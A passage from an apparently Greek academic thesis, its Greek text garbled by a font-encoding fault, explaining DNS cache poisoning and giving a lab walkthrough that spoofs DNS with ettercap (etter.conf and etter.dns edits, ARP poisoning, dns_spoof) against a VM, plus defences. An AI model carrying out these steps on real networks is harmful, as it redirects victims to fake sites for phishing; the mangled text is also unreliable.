ζηόρν ηελ παξαπιάλεζε ησλ ρξεζηώλ θαη ηελ αλαθαηεύζπλζή ηνπο πξνο θαθόβνπιεο 

ηζηνζειίδεο.  

 

ηελ επνρή ηεο ςεθηαθήο επηθνηλσλίαο, όπνπ ε πιεηνλόηεηα ησλ ππεξεζηώλ 

βαζίδεηαη ζηε ζσζηή αλαγλώξηζε θαη πξνώζεζε ησλ ηζηνηόπσλ, ε DNS Cache 

Poisoning αλαδεηθλύεηαη σο κηα επηθίλδπλε πξαθηηθή πνπ απεηιεί ηόζν ηελ αηνκηθή 

αζθάιεηα όζν θαη ηελ νκαιή ιεηηνπξγία ηνπ Γηαδηθηύνπ. Οη επηπηώζεηο κπνξεί λα 

είλαη θαηαζηξνθηθέο, θαζώο νη ρξήζηεο κπνξεί λα θαηαιήμνπλ ζε πιαζηνγξαθεκέλεο 

ηζηνζειίδεο πνπ ζηνρεύνπλ ζε θινπή πξνζσπηθώλ δεδνκέλσλ, θαθόβνπιεο 

εθαξκνγέο ή άιιεο απεηιέο αζθαιείαο.  

 

Η δειεηεξίαζε ηεο θξπθήο κλήκεο DNS (DNS Cache Poisoning Attack) είλαη ε 

πξάμε εηζαγσγήο ςεπδώλ πιεξνθνξηώλ ζε κηα θξπθή κλήκε DNS, έηζη ώζηε ηα 

εξσηήκαηα DNS (Domain Name System) λα επηζηξέθνπλ εζθαικέλε απάληεζε θαη 

νη ρξήζηεο λα θαηεπζύλνληαη ζε ιάζνο ηζηόηνπνπο.  

 

Η δειεηεξίαζε ηεο θξπθήο κλήκεο DNS είλαη επίζεο γλσζηή σο "πιαζηνγξάθεζε 

DNS".  Οη δηεπζύλζεηο IP είλαη νη «αξηζκνί ηειεθώλνπ» ηνπ Γηαδηθηύνπ, δίλνληαο ηε 

δπλαηόηεηα ζηελ θπθινθνξία  Ιζηνύ λα θηάλεη ζηα ζσζηά ζεκεία. Οη θξπθέο κλήκεο 

επίιπζεο DNS είλαη ζαλ έλαο θαηάινγνο πνπ παξαζέηεη απηνύο ηνπο αξηζκνύο 

ηειεθώλνπ θαη όηαλ απνζεθεύνπλ ειαηησκαηηθέο πιεξνθνξίεο, ε θπθινθνξία 



 

πεγαίλεη ζε ιάζνο κέξε κέρξη λα δηνξζσζνύλ νη απνζεθεπκέλεο πιεξνθνξίεο. 

(εκεηώλεηαη όηη απηό ζηελ πξαγκαηηθόηεηα δελ απνζπλδέεη ηνπο πξαγκαηηθνύο 

ηζηόηνπνπο από ηηο πξαγκαηηθέο ηνπο δηεπζύλζεηο IP.) (Cloudflare) 

 

Μηα ζεηξά από ηξσηά ζεκεία θαζηζηνύλ δπλαηή ηε δειεηεξίαζε DNS, αιιά ην θύξην 

πξόβιεκα είλαη όηη ην DNS δεκηνπξγήζεθε γηα έλα πνιύ κηθξόηεξν Γηαδίθηπν θαη 

βαζίδεηαη ζε κηα αξρή εκπηζηνζύλεο (όπσο ην Border Gateway Protocol - BGP).  

 

Έλα πην αζθαιέο πξσηόθνιιν DNS πνπ νλνκάδεηαη DNSSEC ζηνρεύεη λα ιύζεη 

νξηζκέλα από απηά ηα πξνβιήκαηα, αιιά δελ έρεη αθόκε πηνζεηεζεί επξέσο. Σν 

DNSSEC πεξηιακβάλεη βειηηώζεηο θαη πξνζζήθεο ζηα ζεκεία ηνπ DNS ηα νπνία 

είλαη επάισηα ζε επηζέζεηο. Αλαπηύρζεθε από ηελ IETF (Internet Engineering Task 

Force) όρη κόλν γηα λα αληηκεησπίζεη ηηο αδπλακίεο ηνπ DNS, αιιά θαη λα είλαη ζε 

κία επεθηάζηκε κνξθή ώζηε λα αληηκεησπηζηνύλ θαη κειινληηθά θελά αζθαιείαο 

(wikipedia, 2010). 

 

Κάζε θνξά πνπ πιεθηξνινγεί ν ρξήζηεο κηα δηεύζπλζε ζην πξόγξακκα πεξηήγεζήο 

γίλνληαη ηα αθόινπζα: 

1. Γίλεηαη επηθνηλσλία κε έλαλ δηαθνκηζηή DNS. Ο ππνινγηζηήο πξέπεη λα 

απεπζπλζεί ζηνλ δηαθνκηζηή DNS γηα πεξηζζόηεξεο πιεξνθνξίεο.  

2. Σν DNS αλαδεηά κηα αξηζκεηηθή δηεύζπλζε. Οη ππνινγηζηέο θαηαλννύλ ηηο 

δηεπζύλζεηο δηαθνκηζηή πνπ απνηεινύληαη κόλν από αξηζκνύο θαη ηειείεο. 

Δάλ δελ έρεη γίλεη πνηέ μαλά αλαδήηεζε γηα απηόλ ηνλ ηζηόηνπν, ν 

ππνινγηζηήο ζα δεηήζεη βνήζεηα από άιιν δηαθνκηζηή.  

3. Έλα πξόγξακκα επίιπζεο DNS νινθιεξώλεη ην εξώηεκα. Η 

βειηηζηνπνηεκέλε γηα ηνλ άλζξσπν δηεύζπλζε αιιάδεη ζε κηα αξηζκεηηθή 

έθδνζε.  

4. ηέιλεηαη ν ηζηόηνπνο. Με ηε ζσζηή αξηζκεηηθή δηεύζπλζε, θαηεπζύλεηαη ν 

ρξήζηεο ζηνλ θαηάιιειν δηαθνκηζηή πνπ θηινμελεί ηνλ ηζηόηνπν.  

5. Σα δεδνκέλα απνζεθεύνληαη. Ο δηαθνκηζηήο Γηαδηθηύνπ πνπ ρξεζηκνπνηεί ν 

ρξήζηεο έρεη έλαλ δηαθνκηζηή DNS πνπ απνζεθεύεη κεηαθξάζεηο από 

αλζξώπηλεο δηεπζύλζεηο ζε αξηζκεηηθέο εθδόζεηο. Σα απνηειέζκαηα ηεο 

αλαδήηεζεο απνζεθεύνληαη εθεί (Okta, 2023 ). 



 

 

Δηθόλα 18: Η ιεηηνπξγία ελόο DNS. 

Παξαπάλσ παξαδεηγκαηηθά εκθαλίδεηαη πσο ιεηηνπξγεί θαλνληθά έλαο Domain Name 

Server. Αθνύ αλαιύζεθε απηό ηώξα πάκε λα δνύκε πσο ιεηηνπξγεί ε επίζεζε ζε απηή 

ηελ δηαδηθαζία.  

 

ε δειεηεξίαζε θξπθήο κλήκεο DNS ή πιαζηνγξάθεζε DNS, έλαο εηζβνιέαο 

εθηξέπεη ηελ θπθινθνξία από έλαλ λόκηκν δηαθνκηζηή ζε έλαλ θαθόβνπιν/επηθίλδπλν 

δηαθνκηζηή. Ο δξάζηεο εηζάγεη ςεπδείο πιεξνθνξίεο, όπσο κηα παξακνξθσκέλε 

δηεύζπλζε ηζηόηνπνπ ζηελ θξπθή κλήκε DNS, γεγνλόο πνπ νδεγεί ζηελ 

αλαθαηεύζπλζε ησλ ρξεζηώλ ζε έλαλ ιάζνο, απξνζδόθεην ή επηθίλδπλν ηζηόηνπν. 

 

Έλαο ράθεξ ζα κπνξνύζε λα ην θάλεη απηό κε:  

1. Μίκεζε ελόο δηαθνκηζηή. Ο δηαθνκηζηήο DNS ππνβάιιεη έλα εξώηεκα γηα 

κεηάθξαζε θαη ν ράθεξ απαληά πνιύ γξήγνξα κε ιάζνο απάληεζε, πνιύ πξηλ 

ην θάλεη ν ζσζηόο δηαθνκηζηήο.  

2. Γέλνληαο ηνλ δηαθνκηζηή. Σν 2008, νη εξεπλεηέο αλαθάιπςαλ όηη νη ράθεξ 

κπνξνύζαλ λα ζηείινπλ ρηιηάδεο εξσηήκαηα ζε έλαλ δηαθνκηζηή πξνζσξηλήο 

απνζήθεπζεο. ηε ζπλέρεηα, νη ράθεξ ζηέιλνπλ ρηιηάδεο ςεπδείο απαληήζεηο 

θαη κε ηνλ θαηξό, απνθηνύλ ηνλ έιεγρν ηνπ ξηδηθνύ ηνκέα θαη νιόθιεξνπ ηνπ 

ηζηόηνπνπ.  

3. Δθκεηάιιεπζε αλνηρηώλ ζπξώλ. Σν 2020, νη εξεπλεηέο αλαθάιπςαλ όηη νη 

ράθεξ κπνξνύζαλ λα ζηείινπλ ρηιηάδεο εξσηήκαηα ζε ζύξεο επίιπζεο DNS. 

Με ηνλ θαηξό, κε απηή ηελ επίζεζε, αλαθαιύπηνπλ πνηεο ζύξεο είλαη αλνηρηέο. 



 

Οη κειινληηθέο επηζέζεηο ζα επηθεληξσζνύλ κόλν ζε απηή ηελ ζύξα. Οη επηζέζεηο 

ζξαύζεο DNS ζπκβαίλνπλ επεηδή ην ζύζηεκα είλαη αλαζθαιέο. Ο ππνινγηζηήο 

πξαγκαηνπνηεί ζπλνκηιίεο κε δηαθνκηζηέο κέζσ ηνπ πξσηνθόιινπ datagram ρξήζηε 

(UDP). Απηό επηηξέπεη γξήγνξε θαη απνηειεζκαηηθή επηθνηλσλία. Ωζηόζν, δελ 

ππάξρνπλ ελζσκαησκέλα κέηξα αζθαιείαο. Ο ππνινγηζηήο δελ επαιεζεύεη ηελ 

ηαπηόηεηα ηνπ δηαθνκηζηή κε ηνλ νπνίν ζπλνκηιεί θαη δελ επηθπξώλεη ηα δεδνκέλα 

πνπ επηζηξέθνπλ.  

 

Η πιαζηνγξαθία ζε απηό ην πεξηβάιινλ είλαη ζρεηηθά εύθνιε. Δάλ δελ απαηηείηαη λα 

απεδείρζε ε ηαπηόηεηα θαη ν δηαθνκηζηήο κε ηνλ νπνίν κηιάεη ν ρξήζηεο θαη κπνξεί 

λα αλήθεη ζε νπνηνλδήπνηε, ζα κπνξεί επίζεο θαη λα ιάβεη παξαπνηεκέλεο 

πιεξνθνξίεο θαη λα κελ ην θαηαιάβεη (Okta, 2023 ).  

 

Η επίζεζε απηή είλαη εμαηξεηηθά παξαπιαλεηηθή πνπ όρη κόλν εθηξέπεη ηελ 

επηζθεςηκόηεηα από λόκηκνπο ηζηόηνπνπο, αιιά αθήλεη επίζεο ηνπο ρξήζηεο 

επάισηνπο ζε πνιινύο θηλδύλνπο, ζπκπεξηιακβαλνκέλσλ ησλ κνιύλζεσλ από 

θαθόβνπιν ινγηζκηθό θαη ηεο θινπήο δεδνκέλσλ. ηε δειεηεξίαζε ηεο θξπθήο 

κλήκεο ηζηνύ, έλαο εηζβνιέαο εθκεηαιιεύεηαη έλαλ δηαθνκηζηή ηζηνύ θαη ηελ 

πξνζσξηλή κλήκε γηα λα εμππεξεηήζεη κηα θαθόβνπιε απόθξηζε Hypertext Transfer 

Protocol (HTTP) ζηνπο ρξήζηεο.  

 

Απηή ε απάληεζε ζπλήζσο αλαθαηεπζύλεη ηνπο ρξήζηεο ζε έλαλ ηζηόηνπν 

δηαθνξεηηθό από απηόλ πνπ ζθόπεπαλ λα δνπλ. Μόιηο ζπκβεί απηό, έλα worm, 

spyware, web browser hijacking ή άιινπ είδνπο θαθόβνπιν ινγηζκηθό κπνξεί λα 

κεηαθνξησζεί ζηνλ ππνινγηζηή ηνπ ρξήζηε από ηελ αδίζηαθηε ηνπνζεζία (Rahul 

Awati, 2021). 

 



 

 

Δηθόλα 19: Η δηαδηθαζία DNS Spoofing attack. 

 

Απηνί νη ηύπνη επηζέζεσλ man-in-the-middle νλνκάδνληαη ζπρλά επηζέζεηο 

πιαζηνγξάθεζεο DNS. Ο θαθόβνπινο παξάγνληαο, ζηελ νπζία, μεγειά ηνλ 

δηαθνκηζηή DNS ώζηε λα πηζηεύεη όηη βξήθε ηνλ έγθπξν δηαθνκηζηή νλνκάησλ, ελώ 

ζηελ πξαγκαηηθόηεηα, δελ ηνλ έρεη βξεη.  

 

 

Δηθόλα 20: Η δηαδηθαζία ηεο επίζεζεο DNS Poisoning attack. 

 



 

Μόιηο εμαπαηήζεη ην πξόγξακκα πεξηήγεζεο ή ηελ εθαξκνγή ώζηε λα πηζηέςεη όηη 

έιαβε ηε ζσζηή απάληεζε ζην εξώηεκά ηνπ, ν επηηηζέκελνο κπνξεί λα αιιάμεη ηελ 

θπθινθνξία. Με απηόλ ηνλ ηξόπν, κπνξεί λα ηξνθνδνηήζεη νπνηνλδήπνηε ςεύηηθν 

ηζηόηνπν ζέιεη πίζσ ζηε ζπζθεπή ππνδνρήο. Απηέο είλαη ζπλήζσο ζειίδεο πνπ 

κνηάδνπλ κε ηνλ επηζπκεηό ηζηόηνπν. ηελ πξαγκαηηθόηεηα, είλαη ηζηόηνπνη phishing, 

πξνζπαζώληαο λα ζπιιέμνπλ πνιύηηκεο πιεξνθνξίεο όπσο θσδηθνύο πξόζβαζεο ή 

αξηζκνύο ινγαξηαζκώλ (BlueCat, 2019). 

 

Δληνιέο γηα ηελ επίζεζε 

 

Σν ζύκα ζηελ επίζεζε, ζα είλαη ην Ubuntu κε IP 10.0.2.15 θαη ν επηηηζέκελνο ζα είλαη 

ην Kali κεράλεκα. Η επίζεζε απηή νπζηαζηηθά ζα νδεγεί ηνλ ρξήζηε από κία ζειίδα 

πνπ ζα ήζειε λα νδεγεζεί λα πάεη ζε κία άιιε κε αιιαγή δηεύζπλζεο ζε έλα site πνπ 

ν επηηηζέκελνο έρεη επηιέμεη θαη ζα ηνπ βγάδεη έλα κήλπκα πνπ έρεη θηηάμεη. 

 

Γηα αξρή πξέπεη λα μεθηλήζεη ην apache, έπεηηα λα πάκε ζην Ubuntu θαη λα νξίζνπκε 

ηελ δηεύζπλζε 10.0.2.4 (kali). Μόιηο γίλεη απηό εκθαλίδεηαη ζην browser ε ζειίδα ηνπ 

apache. Παξαθάησ εκθαλίδνληαη θαη νη εληνιέο πνπ έγηλαλ κε ηελ ζεηξά πνπ 

ρξεηάζηεθε γηα λα πινπνηεζεί ε επίζεζε απηή θαζώο θαη ηα απνηειέζκαηα απηώλ ησλ 

εληνιώλ. 

 

┌──(asiminaxa㉿kali)-[~] 

└─$ sudo service apache2 start 

[sudo] password for asiminaxa: 

 

┌──(asiminaxa㉿kali)-[~] 

└─$ ifconfig 

docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500 

        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255 

        ether 02:42:c9:0c:9f:bb  txqueuelen 0  (Ethernet) 

        RX packets 0  bytes 0 (0.0 B) 

        RX errors 0  dropped 0  overruns 0  frame 0 

        TX packets 0  bytes 0 (0.0 B) 

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0 

 



 

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500 

        inet 10.0.2.4  netmask 255.255.255.0  broadcast 10.0.2.255 

        inet6 fe80::a00:27ff:fee6:b80a  prefixlen 64  scopeid 0x20<link> 

        ether 08:00:27:e6:b8:0a  txqueuelen 1000  (Ethernet) 

        RX packets 12117  bytes 15949945 (15.2 MiB) 

        RX errors 0  dropped 0  overruns 0  frame 0 

        TX packets 3329  bytes 1131511 (1.0 MiB) 

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0 

 

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536 

        inet 127.0.0.1  netmask 255.0.0.0 

        inet6 ::1  prefixlen 128  scopeid 0x10<host> 

        loop  txqueuelen 1000  (Local Loopback) 

        RX packets 0  bytes 0 (0.0 B) 

        RX errors 0  dropped 0  overruns 0  frame 0 

        TX packets 0  bytes 0 (0.0 B) 

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0 

 

 

┌──(asiminaxa㉿kali)-[~] 

└─$ cd /var/www/html 

 

┌──(asiminaxa㉿kali)-[/var/www/html] 

└─$ ls -l 

total 16 

-rw-r--r-- 1 root root 10701 Nov  4 18:25 index.html 

-rw-r--r-- 1 root root   615 Nov  4 18:17 index.nginx-debian.html 

 

Έπεηηα θηηάρλεη ν επηηηζέκελνο έλα αξρείν index.html: 

 

┌──(asiminaxa㉿kali)-[/var/www/html] 

└─$ sudo mv index.html index-old.html 

 

┌──(asiminaxa㉿kali)-[/var/www/html] 

└─$ sudo nano index.html 

 

Καη πξνζζέηεη ζην αξρείν πνπ θηηάρηεθε ην κήλπκα πνπ ζα εκθαλίδεη ζηνλ ρξήζηε 

όηαλ ζα πξνζπαζήζεη λα κπεη ζην site πνπ ζέιεη. ηελ πεξίπησζε απηή είλαη ην 



 

techpanda.org: 

┌──(asiminaxa㉿kali)-[/var/www/html] 

└─$ cat index.html 

<b>EVIL SITE!</b> 

 

┌──(asiminaxa㉿kali)-[/var/www/html] 

└─$ ls -l 

total 20 

-rw-r--r-- 1 root root    18 Dec  5 16:52 index.html 

-rw-r--r-- 1 root root   615 Nov  4 18:17 index.nginx-debian.html 

-rw-r--r-- 1 root root 10701 Nov  4 18:25 index-old.html 

 

Μόιηο βεβαησζεί ν επηηηζέκελνο όηη έρεη δεκηνπξγήζεη ην αξρείν, έπεηηα 

επεμεξγάδεηαη ηα δύν παξαθάησ αξρεία θαη βεβαηώλεηαη πσο έρνπλ αιιαρζεί θαη 

απνζεθεπηεί κε κία πξνεπηζθόπεζε: 

 

┌──(asiminaxa㉿kali)-[/var/www/html] 

└─$ cd /etc/ettercap 

 

┌──(asiminaxa㉿kali)-[/etc/ettercap] 

└─$ ls -l 

total 28 

-rw-r--r-- 1 root root 10055 Jun 29 10:02 etter.conf 

-rw-r--r-- 1 root root  4491 Jun 29 10:02 etter.dns 

-rw-r--r-- 1 root root  2799 Aug  1  2020 etter.mdns 

-rw-r--r-- 1 root root  1653 Aug  1  2020 etter.nbns 

 

┌──(asiminaxa㉿kali)-[/etc/ettercap] 

└─$ sudo nano etter.conf 

 

ην αξρείν etter.conf αιιάδεη ηα αθόινπζα πνπ είλαη ππνγξακκηζκέλα: 

 

┌──(asiminaxa㉿kali)-[/etc/ettercap] 

└─$ cat etter.conf 

############################################################################ 

#                                                                          # 

#  ettercap -- etter.conf -- configuration file                            # 



 

#                                                                          # 

#  Copyright (C) ALoR & NaGA                                               # 

#                                                                          # 

#  This program is free software; you can redistribute it and/or modify    # 

#  it under the terms of the GNU General Public License as published by    # 

#  the Free Software Foundation; either version 2 of the License, or       # 

#  (at your option) any later version.                                     # 

#                                                                          # 

#                                                                          # 

############################################################################ 

 

[privs] 

ec_uid = 0                # nobody is the default θάλνπκε ηηο ηηκέο 0 

ec_gid = 0                # nobody is the default θάλνπκε ηηο ηηκέο 0 

 

[mitm] 

arp_storm_delay = 10          # milliseconds 

arp_poison_smart = 0          # boolean 

arp_poison_warm_up = 1        # seconds 

arp_poison_delay = 10         # seconds 

arp_poison_icmp = 1           # boolean 

arp_poison_reply = 1          # boolean 

……….. (έρεη αξθεηό πεξηερόκελν απηό ην αξρείν) 

#--------------- 

#     Linux 

#--------------- 

 

Έπεηηα  θαη από ηελ ελόηεηα ηνπ Linux αθαηξεί ηα hashtags ζηα αθόινπζα: 

 

   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp 

-d %destination --dport %port -j REDIRECT --to-port %rport" 

   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp 

-d %destination --dport %port -j REDIRECT --to-port %rport" 

 

# pendant for IPv6 - Note that you need iptables v1.4.16 or newer to 

use IPv6 redirect 

   redir6_command_on = "ip6tables -t nat -A PREROUTING -i %iface -p 

tcp -d %destination --dport %port -j REDIRECT --to-port %rport" 

   redir6_command_off = "ip6tables -t nat -D PREROUTING -i %iface -p 

tcp -d %destination --dport %port -j REDIRECT --to-port %rport" 



 

 

#--------------- 

#    Mac Os X 

#--------------- 

……….. (έρεη αξθεηό πεξηερόκελν απηό ην αξρείν) 

 

########## 

#  EOF   # 

########## 

 

┌──(asiminaxa㉿kali)-[/etc/ettercap] 

└─$ sudo nano etter.dns 

 

Δπίζεο ζε απηό ην αξρείν πξνζζέηεη ν επηηηζέκελνο ζην ηέινο ηνπ ηα αθόινπζα: 

 

techpanda.org   A 10.0.2.4 

*.techpanda.org A 10.0.2.4 

www.techpanda.org       PTR 10.0.2.4 

 

┌──(asiminaxa㉿kali)-[/etc/ettercap] 

└─$ cat etter.dns 

############################################################################ 

#                                                                          # 

#  ettercap -- etter.dns -- host file for dns_spoof plugin                 # 

#                                                                          # 

#  Copyright (C) ALoR & NaGA                                               # 

#                                                                          # 

#  This program is free software; you can redistribute it and/or modify    # 

#  it under the terms of the GNU General Public License as published by    # 

#  the Free Software Foundation; either version 2 of the License, or       # 

#  (at your option) any later version.                                     # 

……….. (έρεη αξθεηό πεξηερόκελν απηό ην αξρείν) 

 

# vim:ts=8:noexpandtab 

 

techpanda.org   A 10.0.2.4 

*.techpanda.org A 10.0.2.4 

www.techpanda.org       PTR 10.0.2.4 

 

http://techpanda.org/
http://techpanda.org/
http://www.techpanda.org/
http://techpanda.org/
http://techpanda.org/
http://www.techpanda.org/


 

 

Δηθόλα 21: Δληνιέο θαη άλνηγκα ηεο ηζηνζειίδαο πνπ έθηηαμε ν επηηηζέκελνο από ηνλ ππνινγηζηή ηνπ 

ζύκαηνο 

 

 

 

Δηθόλα 22: Δληνιέο θαη άλνηγκα ηεο ηζηνζειίδαο πνπ έθηηαμε ν επηηηζέκελνο από ηνλ ππνινγηζηή ηνπ 

ζύκαηνο 

 

Μόιηο ηειεηώζνπλ νη πξνεγνύκελεο δηαδηθαζίεο αλνίγεη ν επηηηζέκελνο ην Ettercap 

γηα λα θάλεη ηελ επίζεζε απηή. Οξίδνληαη ινηπόλ νη δύν ζηόρνη, δειαδή ην κεράλεκα 

Kali θαη ε ip address ηνπ DNS Server θαη γίλεηαη ην ARP Poisoning κε sniff remote 



 

connections. Μόιηο γίλεη απηό γίλεηαη ην load plugin θαη επηιέγεη ν επηηηζέκελνο ην 

dns_spoof θαη ε επίζεζε είλαη έηνηκε λα γίλεη (Boyan Lazarevski). 

 

 

Δηθόλα 23: ARP Poisoning κε sniff remote connections. 

Παξαθάησ εκθαλίδεηαη ην κεράλεκα ηνπ ζύκαηνο (Ubuntu) πσο όηαλ γξάθεη ηελ 

δηεύζπλζε ηνπ techpanda.org πιένλ ν ρξήζηεο βιέπεη ην κήλπκα πνπ επέιεμε ν 

επηηηζέκελνο ζην index.html αξρείν πνπ θηηάρηεθε ζηελ αξρή ηεο επίζεζεο. 

 

 

Δηθόλα 24: ην techpanda.org κεηά ηελ επηηπρεκέλε επίζεζε ν ρξήζηεο ζα βιέπεη ην κήλπκα πνπ 

δεκηνύξγεζε ν επηηηζέκελνο. 



 

Μέηξα πξνζηαζίαο γηα ηελ επίζεζε DNS Cache Poisoning Attack 

 

Η επίζεζε DNS Cache Poisoning απνηειεί κηα ζνβαξή απεηιή γηα ηελ αζθάιεηα ηνπ 

δηαδηθηύνπ, θαζώο επηηξέπεη ζε θαθόβνπινπο επηηηζέκελνπο λα παξαπιαλήζνπλ ηνπο 

ρξήζηεο θαη λα ηνπο θαηεπζύλνπλ πξνο πιαζηνγξαθεκέλεο ηζηνζειίδεο όπσο 

παξνπζηάζηεθε θαη παξαπάλσ. Γηα ηελ πξνζηαζία από απηνύ ηνπ είδνπο επηζέζεηο, 

απαηηείηαη κηα ζπλνιηθή πξνζέγγηζε πνπ λα θαιύπηεη ηόζν ηνπο DNS providers όζν 

θαη ηνπο ρξήζηεο. 

 

Δπνκέλσο,  ε αλάγθε γηα πξνεγκέλεο κεζόδνπο αληηκεηώπηζεο θαη πξνζηαζίαο 

γίλεηαη επηηαθηηθή. Οη ηδηνθηήηεο ηζηνζειίδσλ, νη δηαρεηξηζηέο δηθηύσλ, θαη νη 

ρξήζηεο πξέπεη λα είλαη ελήκεξνη γηα ηνπο θηλδύλνπο ηεο επίζεζεο DNS Cache 

Poisoning θαη λα ιακβάλνπλ ηα θαηάιιεια κέηξα πξνζηαζίαο γηα ηελ εμάιεηςε ή 

ειαρηζηνπνίεζε ησλ επηπηώζεσλ όπσο παξνπζηάδνληαη θαη παξαθάησ.  

 

Μέηξα πξνζηαζίαο πνπ κπνξνύλ λα ιεθζνύλ: 

 

1. Υξήζε DNSSEC: Σν DNSSEC (Domain Name System Security Extensions) 

απνηειεί έλα απνηειεζκαηηθό κέζν πξνζηαζίαο θαηά ηεο DNS Cache 

Poisoning. Πξνζζέηνληαο ςεθηαθέο ππνγξαθέο ζηηο DNS απαληήζεηο, ην 

DNSSEC επηηξέπεη ζηνπο ρξήζηεο λα επηβεβαηώζνπλ ηελ αθεξαηόηεηα ησλ 

δεδνκέλσλ πνπ ιακβάλνπλ από ην DNS (Boyan Lazarevski), 

2. Αλαλέσζε Σνπηθνύ DNS Cache: Η πεξηνδηθή αλαλέσζε ηνπ ηνπηθνύ DNS 

cache κεηώλεη ηνλ ρξόλν πνπ ε πιεξνθνξία παξακέλεη ζην cache, κεηώλνληαο 

έηζη θαη ηνλ ρξόλν πνπ είλαη εθηεζεηκέλε ζηνλ θίλδπλν από επηζέζεηο DNS 

Cache Poisoning.  

3. Δλεκεξσκέλνη DNS Servers: Οη DNS servers πνπ ρξεζηκνπνηεί θάπνηνο λα 

είλαη ελεκεξσκέλνη θαη λα εθαξκόδνπλ ηηο ηειεπηαίεο αζθαιείο πξαθηηθέο. 

Παξαθνινύζεζε ησλ ελεκεξώζεσλ θαη ησλ security patches πνπ παξέρνληαη 

από ηνπο παξνρείο ππεξεζηώλ DNS.  

4. Παξαθνινύζεζε θαη Αλίρλεπζε: Δθαξκνγή ησλ ζπζηεκάησλ 

παξαθνινύζεζεο θαη αλίρλεπζεο γηα ηελ έγθαηξε αλαγλώξηζε αλσκαιηώλ 



 

ζηελ θπθινθνξία ησλ DNS αηηεκάησλ. Η πξόιεςε απαηηεί ηελ ηθαλόηεηα 

άκεζεο αληίδξαζεο.  

5. Firewall θαη IDS/IPS: Η ρξήζε firewall θαη ζπζηεκάησλ 

αλίρλεπζεο/πξόιεςεο εηζβνιώλ (IDS/IPS) βνεζά ζηνλ έιεγρν θαη ην 

θηιηξάξηζκα ηεο εηζεξρόκελεο θαη εμεξρόκελεο θπθινθνξίαο, 

πξνιακβάλνληαο επηζέζεηο DNS Cache Poisoning.  

6. Δθαξκνγή Αζθαιώλ Πξαθηηθώλ Πξνγξακκαηηζκνύ: Γηα ηνπο ηδηνθηήηεο 

ηζηνζειίδσλ, ε εθαξκνγή αζθαιώλ πξαθηηθώλ πξνγξακκαηηζκνύ είλαη 

θξίζηκε. Οη εθαξκνγέο πξέπεη λα απνθεύγνπλ γλσζηέο εππάζεηεο πνπ 

κπνξνύλ λα εθκεηαιιεπζνύλ νη επηηηζέκελνη.  

7. Δθπαίδεπζε ησλ Υξεζηώλ: Η εθπαίδεπζε ησλ ρξεζηώλ ζρεηηθά κε ηηο 

επηζέζεηο phishing πνπ ζπλδένληαη κε ηελ DNS Cache Poisoning είλαη 

νπζηώδεο. Οη ρξήζηεο πξέπεη λα αλαγλσξίδνπλ θαη λα αληηκεησπίδνπλ ηηο 

πξνζπάζεηεο θαθόβνπισλ επηζέζεσλ (archita2k1, 2022). 

 

πλνιηθά, ε αζθάιεηα από ηηο επηζέζεηο DNS Cache Poisoning απαηηεί ηελ πηνζέηεζε 

πνιπεπίπεδεο πξνζηαζίαο, ζε ζπλδπαζκό κε ηελ εθαξκνγή πξνιεπηηθώλ κέηξσλ θαη 

ηελ ηθαλόηεηα άκεζεο αληίδξαζεο ζε πεξίπησζε επίζεζεο. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 

Κεθάιαην 6
ν 
: Δπηζέζεηο ζην πξσηόθνιιν Kerberos 

Δηζαγσγηθό θεθάιαην 

 

Η αζθάιεηα ησλ πιεξνθνξηαθώλ ζπζηεκάησλ απνηειεί κία από ηηο θξίζηκεο πηπρέο 

ζηνλ ζύγρξνλν ςεθηαθό θόζκν. Οη νξγαληζκνί θαη νη επηρεηξήζεηο ρξεζηκνπνηνύλ 

πνιύπινθα ζπζηήκαηα γηα ηε δηαρείξηζε θαη ηνλ έιεγρν ηεο πξόζβαζεο ζηνπο πόξνπο 

ηνπο. ε απηό ην θεθάιαην ζα αλαιπζεί ηη είλαη αθξηβώο ην πξσηόθνιιν Kerberos θαη 

πνηα είλαη ε ιεηηνπξγία ηνπ.  

 

Σν Kerberos είλαη έλα πξσηόθνιιν ειέγρνπ ηαπηόηεηαο δηθηύνπ ππνινγηζηώλ πνπ 

ιεηηνπξγεί θαηά θύξην ιόγν κε εηζηηήξηα γηα λα επηηξέπεη ζηνπο θόκβνπο πνπ 

επηθνηλσλνύλ κέζσ ελόο κε αζθαινύο δηθηύνπ λα απνδείμνπλ ηελ ηαπηόηεηά ηνπο 

κεηαμύ ηνπο κε αζθαιή ηξόπν. ρεδηάζηεθε ζην MIT ην 1984 θαη ζθνπόο ηνπ είλαη 

λα επηηξέπεη ζηηο ιεηηνπξγίεο λα απνδείμνπλ ηελ ηαπηόηεηά ηνπο κε αζθαιή ηξόπν, 

κέζσ ελόο κε αζθαινύο δηθηύνπ. Οη ζρεδηαζηέο ηνπ ζηόρεπζαλ θπξίσο ζε έλα 

κνληέιν πειάηε - δηαθνκηζηή θαη παξέρεη ακνηβαίν έιεγρν ηαπηόηεηαο - ηόζν ν 

ρξήζηεο όζν θαη ν δηαθνκηζηήο πνπ επαιεζεύνπλ ν έλαο ηελ ηαπηόηεηα ηνπ άιινπ 

(Garman Jason, 2003). 

 

Σα κελύκαηα ηνπ πξσηνθόιινπ Kerberos πξνζηαηεύνληαη από επηζέζεηο ππνθινπήο 

θαη επαλάιεςεο, ην Kerberos, έλα πξσηόθνιιν απζεληηθνπνίεζεο θαη 

εμνπζηνδόηεζεο ην νπνίν, επηθέξεη έλα επίπεδν επηπιένλ αζθάιεηαο. Σν Kerberos 

βαζίδεηαη ζε θξππηνγξαθία ζπκκεηξηθνύ θιεηδηνύ θαη απαηηεί έλα αμηόπηζην ηξίην 

κέξνο θαη πξναηξεηηθά κπνξεί λα ρξεζηκνπνηήζεη θξππηνγξάθεζε δεκόζηνπ θιεηδηνύ 

θαηά ηε δηάξθεηα νξηζκέλσλ θάζεσλ ειέγρνπ ηαπηόηεηαο. Σν Kerberos ρξεζηκνπνηεί 

TCP ή UPD γηα πξσηόθνιιν κεηαθνξάο θαη ηε ζύξα 88 από πξνεπηινγή. Πην 

